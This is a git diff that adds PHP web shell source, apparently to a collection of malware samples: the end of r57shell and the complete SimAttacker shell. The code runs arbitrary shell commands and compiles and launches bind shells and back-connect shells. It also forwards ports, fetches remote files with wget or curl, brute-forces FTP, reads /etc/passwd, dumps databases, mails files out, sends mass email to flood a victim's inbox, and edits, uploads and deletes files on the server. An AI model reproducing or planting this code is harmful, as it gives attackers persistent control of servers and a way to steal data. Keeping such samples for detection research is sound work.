"; + $_POST['cmd']=""; + } + break; + case 'dir': + if($_POST['action'] == "create"){ + if(mkdir($_POST['mk_name'])) + { + $_POST['cmd']=""; + echo "
".$lang[$language.'_text62']."
"; + } + else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } + } + else if($_POST['action'] == "delete"){ + if(rmdir($_POST['mk_name'])) echo "
".$lang[$language.'_text64']."
"; + $_POST['cmd']=""; + } + break; + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file" && !empty($_POST['e_name'])) + { + if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } + if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } + else { + echo $table_up3; + echo $font; + echo "
"; + echo ws(3)."".$_POST['e_name'].""; + echo "
"; + echo ""; + echo ""; + echo ""; + echo (!empty($only_read)?("

".$lang[$language.'_text44']):("

")); + echo "
"; + echo "
"; + echo "
"; + echo ""; + exit(); + } + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") + { + if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } + else { + @fwrite($file,$_POST['e_text']); + @fclose($file); + $_POST['cmd']=""; + echo "
".$lang[$language.'_text45']."
"; + } + } +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) +{ + cf("/tmp/bd.c",$port_bind_bd_c); + $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); + @unlink("/tmp/bd.c"); + $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); + $_POST['cmd']="ps -aux | grep bd"; +} +if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) +{ + cf("/tmp/bdpl",$port_bind_bd_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); + $_POST['cmd']="ps -aux | grep bdpl"; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/back",$back_connect); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/back ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C")) +{ + cf("/tmp/back.c",$back_connect_c); + $blah = ex("gcc -o /tmp/backc /tmp/back.c"); + @unlink("/tmp/back.c"); + $blah = ex("/tmp/backc ".$_POST['ip']." ".$_POST['port']." &"); + $_POST['cmd']="echo \"Now script try connect to ".$_POST['ip']." port ".$_POST['port']." ...\""; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="Perl")) +{ + cf("/tmp/dp",$datapipe_pl); + $p2=which("perl"); + if(empty($p2)) $p2="perl"; + $blah = ex($p2." /tmp/dp ".$_POST['local_port']." ".$_POST['remote_host']." ".$_POST['remote_port']." &"); + $_POST['cmd']="ps -aux | grep dp"; +} +if (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']=="C")) +{ + cf("/tmp/dpc.c",$datapipe_c); + $blah = ex("gcc -o /tmp/dpc /tmp/dpc.c"); + @unlink("/tmp/dpc.c"); + $blah = ex("/tmp/dpc ".$_POST['local_port']." ".$_POST['remote_port']." ".$_POST['remote_host']." &"); + $_POST['cmd']="ps -aux | grep dpc"; +} +if (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("
Error uploading file ".$HTTP_POST_FILES['userfile']['name']."
"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "
".$lang[$language.'_text96']."
"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": ".$_POST['cmd']."
"; +echo "
"; +echo ""; +echo ""; +function up_down($id) + { + global $lang; + global $language; + return ' '; + } +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return ''.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"".$lang[$language.'_text43'].$arrow."",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.''.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; +echo sr(15,"".$lang[$language.'_text58'].$arrow."",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".ws(3)."".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; +echo sr(15,"".$lang[$language.'_text68'].$arrow."","".ws(2)."".$lang[$language.'_text69'].$arrow."".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow."".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.''.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= ""; + } +echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; +echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."","".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; +echo sr(15,"".$lang[$language.'_text52'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"".$lang[$language.'_text53'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"".$lang[$language.'_text55'].$arrow."",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.''.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; +echo sr(15,"".$lang[$language.'_text72'].$arrow."",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"".$lang[$language.'_text73'].$arrow."",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"".$lang[$language.'_text74'].$arrow."",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; +echo "
".div('id9').""; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "
".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "
"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; +echo "
"; +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; +echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"".$lang[$language.'_text30'].$arrow."",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; +echo sr(15,"".$lang[$language.'_text36'].$arrow."",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow."".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow."".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow."".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"".$lang[$language.'_text3'].$arrow."",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.''.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo ""; +echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; +echo sr(15,"".$lang[$language.'_text6'].$arrow."",in('file','userfile',85,'')); +echo sr(15,"".$lang[$language.'_text21'].$arrow."",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.''.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; +echo sr(15,"".$lang[$language.'_text16'].$arrow."","".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow."".in('text','rem_file',78,'http://')); +echo sr(15,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.''.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; +echo sr(15,"".$lang[$language.'_text59'].$arrow."",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } + +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"".$lang[$language.'_text91'].$arrow."",in('radio','compress',0,'none').' '.$arh); +echo $te.''.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."".$fs."".$fe.$fs."".$fe."
".$ts; +echo "
".$lang[$language.'_text87']."
"; +echo sr(25,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"".$lang[$language.'_text37'].$arrow."",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"".$lang[$language.'_text38'].$arrow."",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"".$lang[$language.'_text89'].$arrow."",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +echo sr(25,"".$lang[$language.'_text90'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."
".$ts; +echo "
".$lang[$language.'_text100']."
"; +echo sr(25,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"".$lang[$language.'_text37'].$arrow."",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"".$lang[$language.'_text38'].$arrow."",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billy@microsoft.com")))); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +echo sr(25,"".$lang[$language.'_text89'].$arrow."",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"".$lang[$language.'_text90'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."
"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; +echo sr(15,"".$lang[$language.'_text88'].$arrow."",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","".$lang[$language.'_text99']." ( ".$lang[$language.'_text95']." )"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.''.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."".$fs."".$ts; +echo "
".$lang[$language.'_text103']."
"; +echo sr(25,"".$lang[$language.'_text105'].$arrow."",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"".$lang[$language.'_text106'].$arrow."",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"".$lang[$language.'_text107'].$arrow."",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"".$lang[$language.'_text108'].$arrow."",''); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."".$fe.$fs."".$ts; +echo "
".$lang[$language.'_text104']."
"; +echo sr(25,"".$lang[$language.'_text105'].$arrow."",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"".$lang[$language.'_text106'].$arrow."",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"".$lang[$language.'_text107'].$arrow."",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"".$lang[$language.'_text18'].$arrow."",in('text','loc_file',45,$dir)); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(25,"".$lang[$language.'_text91'].$arrow."",in('radio','compress',0,'none').' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."".$fe.""; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = ''; +echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."".$fs."".$ts; +echo "
".$lang[$language.'_text77']."
"; +echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); +echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"".$lang[$language.'_text78'].$arrow."",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1')); +echo sr(45,"".$lang[$language.'_text79'].$arrow."",in('checkbox','sc id=sc',0,'1')); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7'])); +echo $te."".$fe.$fs."".$ts; +echo "
".$lang[$language.'_text40']."
"; +echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); +echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"".$lang[$language.'_text39'].$arrow."",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow."",in('checkbox','dif id=dif',0,'1')); +echo sr(45,"".$lang[$language.'_text59'].$arrow."",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."".$fe.$fs."".$ts; +echo "
".$lang[$language.'_text83']."
"; +echo sr(45,"".$lang[$language.'_text80'].$arrow."",$select); +echo sr(45,"".$lang[$language.'_text14'].$arrow."",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(45,"".$lang[$language.'_text37'].$arrow."",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(45,"".$lang[$language.'_text38'].$arrow."",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(45,"".$lang[$language.'_text36'].$arrow."",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(45,"".$lang[$language.'_text84'].$arrow."".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."

".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe.""; +} +if(!$safe_mode&&!$windows){ +echo $table_up1.$lang[$language.'_text81'].up_down('id21').$table_up2.div('id21').$ts."".$fs."".$ts; +echo "
".$lang[$language.'_text9']."
"; +echo sr(40,"".$lang[$language.'_text10'].$arrow."",in('text','port',15,'11457')); +echo sr(40,"".$lang[$language.'_text11'].$arrow."",in('text','bind_pass',15,'r57')); +echo sr(40,"".$lang[$language.'_text20'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."".$fe.$fs."".$ts; +echo "
".$lang[$language.'_text12']."
"; +echo sr(40,"".$lang[$language.'_text13'].$arrow."",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"".$lang[$language.'_text14'].$arrow."",in('text','port',15,'11457')); +echo sr(40,"".$lang[$language.'_text20'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."".$fe.$fs."".$ts; +echo "
".$lang[$language.'_text22']."
"; +echo sr(40,"".$lang[$language.'_text23'].$arrow."",in('text','local_port',15,'11457')); +echo sr(40,"".$lang[$language.'_text24'].$arrow."",in('text','remote_host',15,'irc.dalnet.ru')); +echo sr(40,"".$lang[$language.'_text25'].$arrow."",in('text','remote_port',15,'6667')); +echo sr(40,"".$lang[$language.'_text26'].$arrow."","".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."".$fe.""; +} + +echo ''.$table_up3."
o---[ r57shell - http-shell by RST/GHC | http://rst.void.ru | http://ghc.ru | version ".$version." ]---o
+ + +"; + + +?> \ No newline at end of file diff --git a/data/samples/classic/simattacker.php b/data/samples/classic/simattacker.php new file mode 100644 index 0000000..7e6f057 --- /dev/null +++ b/data/samples/classic/simattacker.php @@ -0,0 +1,756 @@ + "" ){ + +// path & file name + +$path_parts = pathinfo("$fdownload"); + +$entrypath=$path_parts["basename"]; + +$name = "$fdownload"; + +$fp = fopen($name, 'rb'); + +header("Content-Disposition: attachment; filename=$entrypath"); + +header("Content-Length: " . filesize($name)); + +fpassthru($fp); + +exit; + +} + +?> + + + + + + + + + + + + + +SimAttacker - Vrsion : 1.0.0 - priv8 4 My friend + + + + + + + "" ){ + + $fedit=realpath($fedit); + + $lines = file($fedit); + + echo ""; + +echo " + + + + "; + + $savefile=$_POST['savefile']; + + $filepath=realpath($_POST['filepath']); + + if ($savefile <> "") + + { + + $fp=fopen("$filepath","w+"); + + fwrite ($fp,"") ; + + fwrite ($fp,$savefile) ; + + fclose($fp); + + echo ""; + + } + +exit(); + + } + +?> + + "" ){ + +$fchmod=realpath($fchmod); + +echo "

+ +chmod for :$fchmod
+ +

+ +Chmod :
+ +
+ + + +
"; + +$chmod0=$_POST['chmod0']; + +if ($chmod0 <> ""){ + +chmod ($fchmod , $chmod0); + +}else { + +echo "primission Not Allow change Chmod"; + +} + +exit(); + +} + +?> + + + +
+ + + + + + + + + + + + + + + + + +
+ +

+ +
+ +
+ + + + + + + + + + File Manager

+ +

+ + + + + + CMD Shell

+ +

+ + + + Fake mail

+ +

+ + + + + + Connect Back

+ +

+ + + + + + About

+ +

 

 

+ + + +***************************************************************************
+ + Iranian Hackers : WWW.SIMORGH-EV.COM
+ + Programer : Hossein Asgary
+ + Note : SimAttacker  Have copyright from simorgh security Group
+ + please : If you find bug or problems in program , tell me by :
+ + e-mail : admin(at)simorgh-ev(dot)com
+ +Enjoy :) [Only 4 Best Friends ]
+ +***************************************************************************

+ +"; + + + +echo "OS :". php_uname(); + +echo "
IP :". + +($_SERVER['REMOTE_ADDR']); + +echo "
"; + + + + + + } + + //************************************************************ + + //cmd-command line + + $cmd=$_POST['cmd']; + + if($id=="cmd"){ + + $result=shell_exec("$cmd"); + + echo "

CMD ExeCute

" ; + + echo "
+ +
+ +
+ + + + + +
"; + + + + + + + + } + + + + //******************************************************** + + + + //fake mail = Use victim server 4 DOS - fake mail + + if ( $id=="fake-mail"){ + + error_reporting(0); + + echo "

Fake Mail- DOS E-mail By Victim Server

" ; + + echo "
+ + Victim Mail :

+ + Number-Mail :

+ + Comments: + +
+ +
+ + + +
"; + + //send Storm Mail + + $to=$_POST['to']; + + $nom=$_POST['nom']; + + $Comments=$_POST['Comments']; + + if ($to <> "" ){ + + for ($i = 0; $i < $nom ; $i++){ + + $from = rand (71,1020000000)."@"."Attacker.com"; + + $subject= md5("$from"); + + mail($to,$subject,$Comments,"From:$from"); + + echo "$i is ok"; + + } + + echo ""; + + } + + } + + //******************************************************** + + + + //Connect Back -Firewall Bypass + + if ($id=="cshell"){ + + echo "
Connect back Shell , bypass Firewalls
+ + For user :
+ + nc -l -p 1019
+ +
+ +

+ + Your IP & BindPort:
+ + + +
+ + + +
"; + + $mip=$_POST['mip']; + + $bport=$_POST['bport']; + + if ($mip <> "") + + { + + $fp=fsockopen($mip , $bport , $errno, $errstr); + + if (!$fp){ + + $result = "Error: could not open socket connection"; + + } + + else { + + fputs ($fp ,"\n*********************************************\nWelcome T0 SimAttacker 1.00 ready 2 USe\n*********************************************\n\n"); + + while(!feof($fp)){ + + fputs ($fp," bash # "); + + $result= fgets ($fp, 4096); + + $message=`$result`; + + fputs ($fp,"--> ".$message."\n"); + + } + + fclose ($fp); + + } + + } + + } + + + + //******************************************************** + + //Spy File Manager + + $homedir=getcwd(); + + $dir=realpath($_GET['dir'])."/"; + + if ($id=="fm"){ + + echo "

 Home: $homedir + +   + +

+ +  Path: + + + + + + + +
+ +
"; + + + + echo " + + + +
+ + + + + + + + + + + + + + + + + + + + "; + + if (is_dir($dir)){ + + if ($dh=opendir($dir)){ + + while (($file = readdir($dh)) !== false) { + + $fsize=round(filesize($dir . $file)/1024); + + + + + + echo " + + + + + + + + + + + + + + + + + + "; + + } + + closedir($dh); + + } + + } + + echo "
File / Folder Name + + Size KByte + + Download + + Edit + + ChmodDelete
"; + + if (is_dir($dir.$file)) + + { + + echo " $file dir"; + + } + + else { + + echo " $file "; + + } + + echo ""; + + if (is_file($dir.$file)) + + { + + echo "$fsize"; + + } + + else { + + echo "  "; + + } + + echo " + + "; + + if (is_file($dir.$file)){ + + if (is_readable($dir.$file)){ + + echo "download"; + + }else { + + echo "No ReadAble"; + + } + + }else { + + echo " "; + + } + + echo " + + "; + + if (is_file($dir.$file)) + + { + + if (is_readable($dir.$file)){ + + echo "Edit"; + + }else { + + echo "No ReadAble"; + + } + + }else { + + echo " "; + + } + + echo " + + "; + + if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { + + echo "Dont in windows"; + + } + + else { + + echo "Chmod"; + + } + + echo "Delete
+ +
+ + + + Send this file: + + + + + + + +
"; + + } + +//Upload Files + +$rpath=$_GET['dir']; + +if ($rpath <> "") { + +$uploadfile = $rpath."/" . $_FILES['userfile']['name']; + +print "
";
+
